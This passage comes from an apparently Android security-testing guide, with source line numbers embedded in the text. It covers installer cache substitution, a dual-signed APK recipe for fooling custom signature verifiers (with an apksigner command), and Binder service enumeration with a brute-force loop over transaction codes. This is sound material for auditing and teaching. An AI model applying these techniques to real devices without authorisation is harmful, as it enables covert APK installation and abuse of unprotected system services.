Allowing content access (`setAllowContentAccess(true)`) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure. 602 603 To control file access: 604 605 - Disabling file access (`setAllowFileAccess(false)`) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content. 606 607 ## Other App Components and Mobile Device Management 608 609 ### **Digital Signing of Applications** 610 611 - **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device. 612 613 #### Deterministic installer cache / artifact substitution 614 615 If a store, updater, or helper component downloads an installable artifact to a **deterministic path**, check how it decides the file is "already downloaded". A dangerous pattern is a cache hit based only on **existence + size** (for example `file.length() >= expectedSize`) before a later install stage.<sup>[[18]](#references)</sup> 616 617 If you can write attacker-controlled bytes to that exact path, the install flow may reuse the substituted artifact on the next deep link / broadcast / API trigger. This becomes especially useful when the app auto-installs helper APKs, plugins, or "shell" launchers without user confirmation.<sup>[[17]](#references)[[18]](#references)</sup> 618 619 #### Custom APK verifier confusion / mixed-scheme abuse 620 621 Some stores and updaters perform their own APK signature verification before handing the file to Android's Package Installer. Audit whether that logic matches the platform rules.<sup>[[18]](#references)</sup> 622 623 Red flags: 624 - a present **v3** signing block fails signer validation but the custom verifier **falls back to v2** instead of rejecting<sup>[[10]](#references)</sup> 625 - v2 verification checks only the signature over the embedded digest, but **does not recompute the digest from the APK contents** 626 - package-name or metadata checks exist, but signer validation is not bound to the actual file body 627 628 This can enable a **dual-signed APK**:<sup>[[11]](#references)[[18]](#references)[[19]](#references)</sup> 629 1. Build the payload with the expected package name. 630 2. Sign it with an attacker-controlled **v3** signature only. 631 3. Transplant a trusted APK's **v2** signing block into the payload. 632 4. The custom verifier accepts the trusted v2 block, while Android installs the same APK using the valid attacker v3 block. 633 634 ```bash 635 apksigner sign \ 636 --ks key.jks \ 637 --out payload-v3.apk \ 638 --v1-signing-enabled false \ 639 --v2-signing-enabled false \ 640 --v3-signing-enabled true \ 641 payload.apk 642 643 apksigner verify --verbose --print-certs payload-v3.apk 644 ``` 645 646 This pattern is relevant in OEM app stores, plugin managers, enterprise installers, or any code path that tries to enforce a custom signer allowlist outside the normal Android verifier. 647 648 ### **App Verification for Enhanced Security** 649 650 - Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security. 651 652 ### **Mobile Device Management (MDM)** 653 654 - **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices. 655 656 ```java 657 // Example of enforcing a password policy with MDM 658 DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); 659 ComponentName adminComponent = new ComponentName(context, AdminReceiver.class); 660 661 if (dpm.isAdminActive(adminComponent)) { 662 // Set minimum password length 663 dpm.setPasswordMinimumLength(adminComponent, 8); 664 } 665 ``` 666 667 668 ## Enumerating and Exploiting AIDL / Binder Services 669 670 Android *Binder* IPC exposes many **system and vendor-provided services**. Those services become an **attack surface** when they are exported without a proper permission check (the AIDL layer itself performs *no* access-control).<sup>[[1]](#references)</sup> 671 672 ### 1. Discover running services 673 674 ```bash 675 # from an adb shell (USB or wireless) 676 service list # simple one-liner 677 am list services # identical output, ActivityManager wrapper 678 ``` 679 680 Output is a numbered list such as: 681 ```text 682 145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics] 683 146 wifi : [android.net.wifi.IWifiManager] 684 ``` 685 * The **index** (first column) is assigned at runtime – do ***not*** rely on it across reboots. 686 * The **Binder name** (e.g. `mtkconnmetrics`) is what will be passed to `service call`. 687 * The value inside the brackets is the fully-qualified **AIDL interface** that the stub was generated from. 688 689 ### 2. Obtain the interface descriptor (PING) 690 Every Binder stub automatically implements **transaction code `0x5f4e5446`** (`1598968902` decimal, ASCII "_NTF"). 691 692 ```bash 693 # "ping" the service 694 service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32 695 ``` 696 A valid reply returns the interface name encoded as a UTF-16 string inside a `Parcel`. 697 698 ### 3. Calling a transaction 699 Syntax: `service call <name> <code> [type value ...]` 700 701 Common argument specifiers: 702 * `i32 <int>` – signed 32-bit value 703 * `i64 <long>` – signed 64-bit value 704 * `s16 <string>` – UTF-16 string (Android 13+ uses `utf16`) 705 706 Example – start network monitoring with uid **1** on a MediaTek handset: 707 ```bash 708 service call mtkconnmetrics 8 i32 1 709 ``` 710 711 ### 4. Brute-forcing unknown methods 712 When header files are unavailable you can **iterate the code** until the error changes from: 713 ```text 714 Result: Parcel(00000000 00000000) # "Not a data message" 715 ``` 716 to a normal `Parcel` response or `SecurityException`. 717 718 ```bash 719 for i in $(seq 1 50); do 720 printf "[+] %2d -> " $i 721 service call mtkconnmetrics $i 2>/dev/null | head -1 722 done 723 ``` 724 725 If the service was compiled **with proguard** the mapping must be guessed – see next step. 726 727 ### 5. Mapping codes ↔ methods via onTransact() 728 Decompile the jar/odex that implements the interface (for AOSP stubs check `/system/framework`; OEMs often use `/system_ext` or `/vendor`). 729 Search for `Stub.onTransact()` – it contains a giant `switch(transactionCode)`: 730 731 ```java 732 case TRANSACTION_updateCtaAppStatus: // 5 733 data.enforceInterface(DESCRIPTOR); 734 int appId = data.readInt(); 735 boolean ok = data.readInt() != 0; 736 updateCtaAppStatus(appId, ok); 737 reply.writeNoException(); 738 return true; 739 ``` 740 741 Now the prototype and **parameter types** are crystal clear. 742 743 ### 6. Spotting missing permission checks 744 The implementation (often an inner `Impl` class) is responsible for authorisation: 745 746 ```java 747 private void updateCtaAppStatus(int uid, boolean status) { 748 if (!isPermissionAllowed()) { 749 throw new SecurityException("uid " + uid + " rejected"); 750 } 751 /* privileged code */ 752 } 753 ``` 754 Absence of such logic or a whitelist of privileged UIDs (e.g. `uid == 1000 /*system*/`) is a **vulnerability indicator**. 755 756 Case study – *MediaTek* `startMonitorProcessWithUid()` (transaction **8**) fully executes a Netlink message **without** any permission gate, allowing an unprivileged app to interact with the kernel’s Netfilter module and spam the system log. 757 758 ### 7. Automating the assessment 759 Tools / scripts that speed-up Binder reconnaissance: 760 * [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – exposes `/dev/binderfs` with per-service nodes 761 * [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – walks the binder table and prints ACLs 762 * Frida shortcut: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))` 763 764 --- 765 766 ## References 767 768 - [1] [Android Services 101 – Pentest Partners](https://www.pentestpartners.com/security-blog/android-services-101/) 769 - [2] [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl) 770 - [3] [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder) 771 - [4] [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8) 772 - [5] [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/) 773 - [6] [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) 774 - [7] [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn) 775 - [8] [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn) 776 - [9] [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[])) 777 - [10] [Android Open Source Project - APK signature scheme v3](https://source.android.com/docs/security/features/apksigning/v3) 778 - [11] [Android Developers - apksigner](https://developer.android.com/tools/apksigner) 779 - [12] [Deep-C – Android deep link exploitation framework](https://github.com/KishorBal/deep-C) 780 - [13] [Unsafe use of deep links - Android Developers](https://developer.android.com/privacy-and-security/risks/unsafe-use-of-deeplinks) 781 - [14] [Pending intents | Security | Android Developers](https://developer.android.com/privacy-and-security/risks/pending-intent) 782 - [15] [Verify App Links | Android Developers](https://developer.android.com/training/app-links/verify-applinks) 783 - [16] [Create deep links - Android Developers](https://developer.android.com/training/app-links/deep-linking) 784 - [17] [Samsung Developer - Shell APK](https://developer.samsung.com/instant-plays/shell-apk.html) 785 - [18] [Bugscale - Here We Go Again: A Five-Bug Chain to Arbitrary APK Install on Samsung S25](https://bugscale.ch/blog/here-we-go-again-a-five-bug-chain-to-arbitrary-apk-install-on-samsung-s25/) 786 - [19] [bugscale/samsung-s25-research - graft_sig.py](https://github.com/bugscale/samsung-s25-research/blob/main/local-apk-install/graft_sig.py) 787 - [20] [Microsoft Authenticator’s Unclaimed Deep Link: A Full Account Takeover Story (CVE-2026-26123)](https://khaledsec.medium.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02) 788 - [21] [Android 16 behavior changes for all apps - Intent redirection protection](https://developer.android.com/about/versions/16/behavior-changes-all#intent-redirect-attacks) 789 - [22] [Android 16 behavior changes for targeted apps - Safer Intents](https://developer.android.com/about/versions/16/behavior-changes-16#safer-intents)